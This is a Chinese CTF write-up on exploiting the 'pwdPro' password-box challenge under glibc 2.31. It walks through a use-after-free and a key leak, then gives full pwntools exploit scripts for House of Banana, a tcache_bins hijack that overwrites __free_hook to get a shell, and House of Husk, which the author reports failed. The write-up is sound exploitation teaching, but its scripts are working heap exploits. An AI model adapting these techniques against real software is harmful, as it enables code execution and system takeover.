0%

House Of Banana+House Of Husk+Tcache attack

PassWordBox_ProVersion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
➜  桌面 ./pwdPro 
_ _
|_) _. _ _ \ / _ ._ _| |_) _
| (_| _> _> \/\/ (_) | (_| |_) (_) ><
_
|_) ._ _ \ / _ ._ _ o _ ._
| | (_) \/ (/_ | _> | (_) | |
Pro Version Advance:
1.Recover Your PassWord.Avoid mistaken delete!
2.Unlimited Edit!
3.LARRRRGER SIZE 2 STORE YOUR Secret Infomation!
4.By the way Much Safer Than Free!
5.Enjoy Your Self !
PassWordBox_V3.0_Pro+Version
1.Add Pwd
2.Edit Pwd
3.Show Pwd
4.Delete Pwd
5.Recover
6.Exit
Input Your Choice:
1
2
3
4
5
6
7
8
pwdPro: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0cf87abb0c2c119db0081f9c5e07fd0f028a5480, for GNU/Linux 3.2.0, stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/pwdPro'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release versi

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 delete()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-8h]

canary = __readfsqword(0x28u);
puts("Idx you want 2 Delete:");
__isoc99_scanf("%u", &index);
if ( index <= 0x4F && *(_DWORD *)chunk_list_start[index].OPkey )
{
free((void *)chunk_list_start[index].pwd);
*(_DWORD *)chunk_list_start[index].OPkey = 0;// 没有置空ptr和size,UAF
}
return __readfsqword(0x28u) ^ canary;
}

UAF漏洞

入侵思路

本题目可以控制的东西很多,就是这个加密函数有点烦:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall code(__int64 pwd, int size)
{
__int64 result; // rax
int v3; // [rsp+14h] [rbp-18h]
int i; // [rsp+18h] [rbp-14h]

v3 = 2 * (size / 16);
if ( size % 16 <= 8 )
{
if ( size % 16 > 0 )
++v3;
}
else
{
v3 += 2;
}
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= v3 )
break;
*(_QWORD *)(8LL * i + pwd) ^= randomkey; /* randomkey是随机的 */
}
return result;
}
  • 解密函数和它一模一样
  • 它是以8字节为单位进行加密的
  • 异或加密比较好破解,但需要获取“randomkey”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
unsigned __int64 add()
{
unsigned int size; // [rsp+8h] [rbp-18h] BYREF
unsigned int index; // [rsp+Ch] [rbp-14h] BYREF
char *pwd; // [rsp+10h] [rbp-10h]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]

canary = __readfsqword(0x28u);
size = 0;
puts("Which PwdBox You Want Add:");
__isoc99_scanf("%u", &index);
if ( index <= 0x4F ) // 限制index
{
printf("Input The ID You Want Save:");
getchar();
read(0, &chunk_list_start[index], 0xFuLL); // 直接在结构体中写入name
chunk_list_start[index].canuse = 0; // 代表写过的chunk不能再次写入
printf("Length Of Your Pwd:");
__isoc99_scanf("%u", &size);
if ( size > 0x41F && size <= 0x888 ) // 限制size,只能申请large bin
{
pwd = (char *)malloc(size); // 在heap中写入pwd
printf("Your Pwd:");
getchar();
fgets(pwd, size, stdin);
code((__int64)pwd, size);
chunk_list_start[index].size = size;
chunk_list_start[index].pwd = (__int64)pwd;
*(_DWORD *)chunk_list_start[index].OPkey = 1;// 需要写入后才能修改
if ( !printf_check ) // 只有第一次申请会打印数据
{
printf("First Add Done.Thx 4 Use. Save ID:%s", (const char *)chunk_list_start[index].pwd);
printf_check = 1LL;
}
}
else
{
puts("Why not try To Use Your Pro Size?");
}
}
return __readfsqword(0x28u) ^ canary;
}

执行“申请模块”后会对数据进行一次加密,但同时也会泄露加密后的数据(仅限第一次),这就可以计算出“randomkey”了,然后 libc_base 和 heap_base 都可以泄露了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
add(0,0x448,"\x00"*8)
p.recvuntil('First Add Done.Thx 4 Use. Save ID:')
key=u64(p.recv(8))
success('key >> '+hex(key))
add(1,0x448,"\x00"*8)
add(2,0x448,"\x00"*8)
add(3,0x448,"\x00"*8)

delete(0)
delete(2)

recover(0)
show(0)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
libc_base = (leak_addr ^ key) - 0x1ebbe0
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

recover(2)
show(2)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
heap_base = (leak_addr ^ key)-656
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

House Of Banana

本程序可以主动 exit ,并且申请的空间足够大,所以先尝试一下 House Of Banana

1
2
pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
0x7f95f6cc7060->0x7f95f6c97118 is -0x2ff48 bytes (-0x5fe9 words)

House Of Banana 的关键就是那个 largebin attack:

1
2
3
4
5
6
7
8
9
10
11
12
13
unsortedbin /* fake _rtld_global结构体 */ 
all: 0x555913c6c290 —▸ 0x7f2d7fbb5be0 (main_arena+96) ◂— 0x555913c6c290

largebins /* largebin attack的对象 */
0x440: 0x555913c6cb20 —▸ 0x7f2d7fbb5fe0 (main_arena+1120) ◂— 0x555913c6cb20

pwndbg> telescope 0x555913c6cb20 /* largebins(修改完成) */
00:00000x555913c6cb20 ◂— 0x25ecdd3718ff91f6
01:00080x555913c6cb28 ◂— 0x451
02:00100x555913c6cb30 —▸ 0x7f2d7fbb5fe0 (main_arena+1120) —▸ 0x7f2d7fbb5fd0 (main_arena+1104) —▸ 0x7f2d7fbb5fc0 (main_arena+1088) —▸ 0x7f2d7fbb5fb0 (main_arena+1072) ◂— ...
03:00180x555913c6cb38 —▸ 0x7f2d7fbb5fe0 (main_arena+1120) —▸ 0x7f2d7fbb5fd0 (main_arena+1104) —▸ 0x7f2d7fbb5fc0 (main_arena+1088) —▸ 0x7f2d7fbb5fb0 (main_arena+1072) ◂— ...
04:00200x555913c6cb40 —▸ 0x555913c6cb20 ◂— 0x25ecdd3718ff91f6 /* 指向自己 */
05:00280x555913c6cb48 —▸ 0x7f2d7fbbc0f8 ◂— 0x0 /* 指向目标 */

largebin attack 发生在 chunk 从 unsortedbin 进入 largebins 的一瞬间,large chunk 会把“自己的chunk->head”写入“目标地址”(“chunk->BK_size”指向的地址,next_node)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import*

p=process('./pwdPro')
elf=ELF('./pwdPro')
libc=ELF('./libc-2.31.so')

def add(index,len,pwd):
p.sendlineafter('Input Your Choice:\n',str(1))
p.sendlineafter('Which PwdBox You Want Add:\n',str(index))
p.sendlineafter('Input The ID You Want Save:','aaa')
p.sendlineafter('Length Of Your Pwd:',str(len))
p.sendlineafter('Your Pwd:',pwd)

def edit(index,pwd):
p.sendlineafter('Input Your Choice:\n',str(2))
p.sendlineafter('Which PwdBox You Want Edit:\n',str(index))
p.sendline(pwd)

def show(index):
p.sendlineafter('Input Your Choice:\n',str(3))
p.sendlineafter('Which PwdBox You Want Check:\n',str(index))

def delete(index):
p.sendlineafter('Input Your Choice:\n',str(4))
p.sendlineafter('Idx you want 2 Delete:\n',str(index))

def recover(index):
p.sendlineafter('Input Your Choice:\n',str(5))
p.sendlineafter('Idx you want 2 Recover:\n',str(index))

def exit():
p.sendlineafter('Input Your Choice:\n',str(6))

#gdb.attach(p)

add(0,0x438,"\x00"*8)
p.recvuntil('First Add Done.Thx 4 Use. Save ID:')
key=u64(p.recv(8))
success('key >> '+hex(key))
add(1,0x448,"\x00"*8)
add(2,0x448,"\x00"*8)
add(3,0x448,"\x00"*8)

delete(0)
delete(2)

recover(0)
show(0)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
libc_base = (leak_addr ^ key) - 0x1ebbe0
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

recover(2)
show(2)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
heap_base = (leak_addr ^ key)-656
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

rtld_global=libc_base+0x222060
next_node=rtld_global-0x2ff48
success('rtld_global >> '+hex(rtld_global))
success('next_node >> '+hex(next_node))

one_gadget_list=[0xe6aee,0xe6af1,0xe6af4]
one_gadget=one_gadget_list[0]+libc_base
success('one_gadget >> '+hex(one_gadget))

main_arena=libc_base+2015200
chunk0_addr=heap_base+656
chunk2_addr=heap_base+2848

fake_addr=chunk0_addr
fake='\x00'*8
fake=fake.ljust(0x28-0x10,'\x00')
fake+=p64(fake_addr)
fake=fake.ljust(0x48-0x10,'\x00')
fake+=p64(fake_addr+0x58)
fake+=p64(0x8)
fake+=p64(one_gadget)
fake=fake.ljust(0x110-0x10,'\x00')
fake+=p64(fake_addr+0x40)
fake=fake.ljust(0x120-0x10,'\x00')
fake+=p64(fake_addr+0x48)
fake=fake.ljust(0x31c-0x10,'\x00')
fake+=p64(0x1c)

payload1= p64(main_arena)+p64(main_arena)
payload1+=p64(chunk2_addr)+p64(next_node-0x20)
payload2= p64(main_arena)+p64(0)
payload2+=p64(chunk0_addr)+p64(chunk0_addr)

add(0,0x438,"\x00"*8)
add(5,0x500,"\x00"*8)
edit(0,fake)
delete(0)
edit(2,payload1)
add(6,0x500,"\x00"*8)

recover(0)
edit(0,payload2)
exit()

p.interactive()

mp_.tcache_bins劫持 + Tcache attack

这里的 mp_.tcache_bins 的作用就相当于是 global max fast ,将其改成一个很大的地址之后,再次释放的堆块就会当作 tcache 来进行处理

1
2
3
4
pwndbg> p &mp_.tcache_bins
$1 = (size_t *) 0x7f5303de82d0 <mp_+80>
pwndbg> telescope 0x7f5303de82d0
00:00000x7f5303de82d0 (mp_+80) ◂— 0x40 /* 通常为0x40 */
1
2
3
4
pwndbg> p &mp_.tcache_bins
$2 = (size_t *) 0x7f5303de82d0 <mp_+80>
pwndbg> telescope 0x7f5303de82d0
00:00000x7f5303de82d0 (mp_+80) —▸ 0x5593fe267290 ◂— 0x0 /* 改为一个很大的数据 */

前面部分和 House Of Banana 一样,只是换一下攻击对象就可以了

此后释放的 chunk 都会放入 tcache(小于mp_.tcache_bins)

1
2
3
4
pwndbg> /* 在tcache_perthread_struct看到的信息(它的tcache_entry和main_arena很像) */
60:03000x56094bbaf300 ◂— 0x0
61:03080x56094bbaf308 —▸ 0x56094bbb08e0 —▸ 0x56094bbb0df0 ◂— 0x0
/* tcache_entry(0x510):chunk6->next => chunk7->next */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Allocated chunk | PREV_INUSE
Addr: 0x56094bbb03c0 /* chunk5 */
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x56094bbb08d0 /* chunk6 */
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x56094bbb0de0 /* chunk7 */
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x56094bbb12f0 /* chunk8 */
Size: 0x511

因为 libc-2.31 的 tcache 中加了 key 来检测 Double free,所以这里直接攻击 tcache_entry

1
2
3
4
pwndbg> /* tcache_entry(0x510) */
60:03000x56094bbaf300 ◂— 0x0
61:03080x56094bbaf308 —▸ 0x56094bbb08e0 —▸ 0x7f60e60c4b28 (__free_hook) ◂— 0x0
/* 直接在chunk6中写入free_hook,覆盖chunk7的位置 */
  • 这里最好不要在 chunk7 中写入free_hook,因为 tcache_perthread_struct->count 会记录各个 tcachebin 中的 chunk 数量(其实也可以伪造 count,就是有点麻烦)

注意:这里我尝试使用“one_gadget”没有打通(可能是条件不符合)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *

file_path = "./pwdPro"
context.arch = "amd64"

p=process('./pwdPro')
elf=ELF('./pwdPro')
libc=ELF('./libc-2.31.so')

def add(index,len,pwd):
p.sendlineafter('Input Your Choice:\n',str(1))
p.sendlineafter('Which PwdBox You Want Add:\n',str(index))
p.sendlineafter('Input The ID You Want Save:','aaa')
p.sendlineafter('Length Of Your Pwd:',str(len))
p.sendlineafter('Your Pwd:',pwd)

def edit(index,pwd):
p.sendlineafter('Input Your Choice:\n',str(2))
p.sendlineafter('Which PwdBox You Want Edit:\n',str(index))
p.sendline(pwd)

def show(index):
p.sendlineafter('Input Your Choice:\n',str(3))
p.sendlineafter('Which PwdBox You Want Check:\n',str(index))

def delete(index):
p.sendlineafter('Input Your Choice:\n',str(4))
p.sendlineafter('Idx you want 2 Delete:\n',str(index))

def recover(index):
p.sendlineafter('Input Your Choice:\n',str(5))
p.sendlineafter('Idx you want 2 Recover:\n',str(index))

def exit():
p.sendlineafter('Input Your Choice:\n',str(6))

#gdb.attach(p)

add(0,0x438,"\x00"*8)
p.recvuntil('First Add Done.Thx 4 Use. Save ID:')
key=u64(p.recv(8))
success('key >> '+hex(key))
add(1,0x448,"\x00"*8)
add(2,0x448,"\x00"*8)
add(3,0x448,"\x00"*8)

delete(0)
delete(2)

recover(0)
show(0)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
libc_base = (leak_addr ^ key) - 0x1ebbe0
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

recover(2)
show(2)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
heap_base = (leak_addr ^ key)-656
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

mp=libc_base+2011856
one_gadget_list=[0xe6aee,0xe6af1,0xe6af4]
one_gadget=one_gadget_list[0]+libc_base
system_libc=libc.sym['system']+libc_base
free_hook=libc.sym['__free_hook']+libc_base
success('mp >> '+hex(mp))
success('one_gadget >> '+hex(one_gadget))
success('system_libc >> '+hex(system_libc))
success('free_hook >> '+hex(free_hook))

main_arena=libc_base+2015200
chunk0_addr=heap_base+656
chunk2_addr=heap_base+2848

add(4,0x438,"\x00"*8)
add(5,0x500,"\x00"*8)
delete(0)

payload1= p64(main_arena)+p64(main_arena)
payload1+=p64(chunk2_addr)+p64(mp-0x20)
edit(2,payload1)
add(6,0x500,"\x00"*8)
add(7,0x500,"\x00"*8)
add(8,0x500,"\x00"*8)

delete(7)
delete(6)
recover(6)
edit(6,p64(free_hook))

add(6,0x500,"\x00"*8)
add(7,0x500,"\x00"*8)
edit(7,p64(system_libc))
edit(1,"/bin/sh\x00")
delete(1)

p.interactive()

House Of Husk

在常规 House Of Husk 中,需要先攻击 global_max_fast

1
2
3
4
pwndbg> p &global_max_fast
$2 = (size_t *) 0x7f0da6b5fb80 <global_max_fast>
pwndbg> telescope 0x7f0da6b5fb80
00:00000x7f0da6b5fb80 (global_max_fast) ◂— 0x80 /* 默认0x80 */
1
2
3
4
pwndbg> p &global_max_fast
$3 = (size_t *) 0x7f0da6b5fb80 <global_max_fast>
pwndbg> telescope 0x7f0da6b5fb80
00:00000x7f0da6b5fb80 (global_max_fast) —▸ 0x560b35d78290 /* 改为大数据 */

然后就是计算两个表的偏移:

1
2
pwndbg> distance &__printf_function_table &main_arena
0x7f0da6b61ff8->0x7f0da6b5cb80 is -0x5478 bytes (-0xa8f words)
1
2
pwndbg> distance &__printf_arginfo_table &main_arena
0x7f0da6b62350->0x7f0da6b5cb80 is -0x57d0 bytes (-0xafa words)

可惜的是,程序对 size 进行了限制,那么常规的 House Of Husk 就无法实施了(利用 main_arena 覆盖 __printf_function_table__printf_arginfo_table),但是可以用连续的 largebin attack 来代替这个过程

注意:libc-2.31版本下 largebin attack 的条件(必须小于 largebin 中所有的 chunk)

1
2
pwndbg> p __printf_arginfo_table
$1 = (printf_arginfo_size_function **) 0x55ac618778d0 /* chunk10 */
1
2
pwndbg> p __printf_function_table
$2 = (printf_function **) 0x55ac61876b20 /* chunk2 */

当我执行到最后一步时,悲剧还是发生了:

  • 所有 one_gadget 的条件都不满足
  • Rdi 指向栈上的一个地址,导致 system 的参数不可控

看来 House Of Husk 打不通这个题,完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *

file_path = "./pwdPro"
context.arch = "amd64"

p=process('./pwdPro')
elf=ELF('./pwdPro')
libc=ELF('./libc-2.31.so')

def add(index,len,pwd):
p.sendlineafter('Input Your Choice:\n',str(1))
p.sendlineafter('Which PwdBox You Want Add:\n',str(index))
p.sendlineafter('Input The ID You Want Save:','aaa')
p.sendlineafter('Length Of Your Pwd:',str(len))
p.sendlineafter('Your Pwd:',pwd)

def edit(index,pwd):
p.sendlineafter('Input Your Choice:\n',str(2))
p.sendlineafter('Which PwdBox You Want Edit:\n',str(index))
p.sendline(pwd)

def show(index):
p.sendlineafter('Input Your Choice:\n',str(3))
p.sendlineafter('Which PwdBox You Want Check:\n',str(index))

def delete(index):
p.sendlineafter('Input Your Choice:\n',str(4))
p.sendlineafter('Idx you want 2 Delete:\n',str(index))

def recover(index):
p.sendlineafter('Input Your Choice:\n',str(5))
p.sendlineafter('Idx you want 2 Recover:\n',str(index))

def exit():
p.sendlineafter('Input Your Choice:\n',str(6))

gdb.attach(p,"b* system")

add(0,0x438,"\x00"*8)
p.recvuntil('First Add Done.Thx 4 Use. Save ID:')
key=u64(p.recv(8))
success('key >> '+hex(key))
add(1,0x448,"\x00"*8)
add(2,0x448,"\x00"*8)
add(3,0x448,"\x00"*8)

delete(0)
delete(2)

recover(0)
show(0)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
libc_base = (leak_addr ^ key) - 0x1ebbe0
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

recover(2)
show(2)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
heap_base = (leak_addr ^ key)-656
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

one_gadget_list=[0xe6aee,0xe6af1,0xe6af4,0xe6ce3,0xe6ce6]
one_gadget=one_gadget_list[3]+libc_base
system_libc=libc.sym['system']+libc_base
global_max_fast=libc_base+2026368
main_arena_start=libc_base+2014080
__printf_function_table=main_arena_start+0x5478
__printf_arginfo_table=main_arena_start+0x57d0

success('one_gadget >> '+hex(one_gadget))
success('system_libc >> '+hex(system_libc))
success('global_max_fast >> '+hex(global_max_fast))
success('main_arena_start >> '+hex(main_arena_start))
success('__printf_function_table >> '+hex(__printf_function_table))
success('__printf_arginfo_table >> '+hex(__printf_arginfo_table))

main_arena=libc_base+2015200
main_arena2=libc_base+2015328
chunk0_addr=heap_base+656
chunk2_addr=heap_base+2848
chunk10_addr=heap_base+9632

add(4,0x438,"\x00"*8)
add(5,0x500,"\x00"*8)
delete(0)

payload1= p64(main_arena)+p64(main_arena)
payload1+=p64(chunk2_addr)+p64(__printf_function_table-0x20)
payload2= p64(main_arena)+p64(main_arena)
payload2+=p64(chunk2_addr)+p64(chunk2_addr)

edit(2,payload1)
add(6,0x650,"\x00"*8)
add(7,0x430,"\x00"*8)
edit(2,payload2)
add(8,0x440,"\x00"*8)
add(9,0x660,"\x00"*8)
add(10,0x660,"\x00"*8)
add(11,0x660,"\x00"*8)
delete(10)
add(12,0x800,"\x00"*8)
delete(6)

payload2= p64(main_arena2)+p64(main_arena2)
payload2+=p64(chunk10_addr)+p64(__printf_arginfo_table-0x20)
recover(10)
edit(10,payload2)
add(13,0x800,"\x00"*8)

fake_printf_arginfo_table='\x00'
fake_printf_arginfo_table=fake_printf_arginfo_table.ljust((115-2)*8,'\x00')
fake_printf_arginfo_table+=p64(system_libc)

recover(6)
edit(6,fake_printf_arginfo_table)
edit(2,p64(1)+p64(0)*3)
edit(13,"/bin/sh\x00")
show(13)

p.interactive()

小结:

本题目很灵活,可以用多种方法求解,于是我把学过的技术都用了一遍(House Of Pig 还没有搞过)

  • House Of Banana:
    • 本地还好,不过远程需要爆破 ld_base
  • mp_.tcache_bins劫持 + Tcache attack:
    • 最简单的办法,复习了一下 tcache attack
  • House Of Husk:
    • 好不容易成功进行了两次 largebin attack,最后还是因为各种原因没有打出来
    • 两次 largebin attack 真的有点不容易,关键就是在第一次攻击后,让被修改的那个 large chunk 复原,然后才开始第二次攻击
    • 因为 printf 里面会控制 Rdi 寄存器,所以只能考虑用“one_gadget”,但是 libc-2.31 的“one_gadget” 条件苛刻,所以就失败了

以后会优先考虑 mp_.tcache_bins劫持,然后才是 House Of Husk,House Of Banana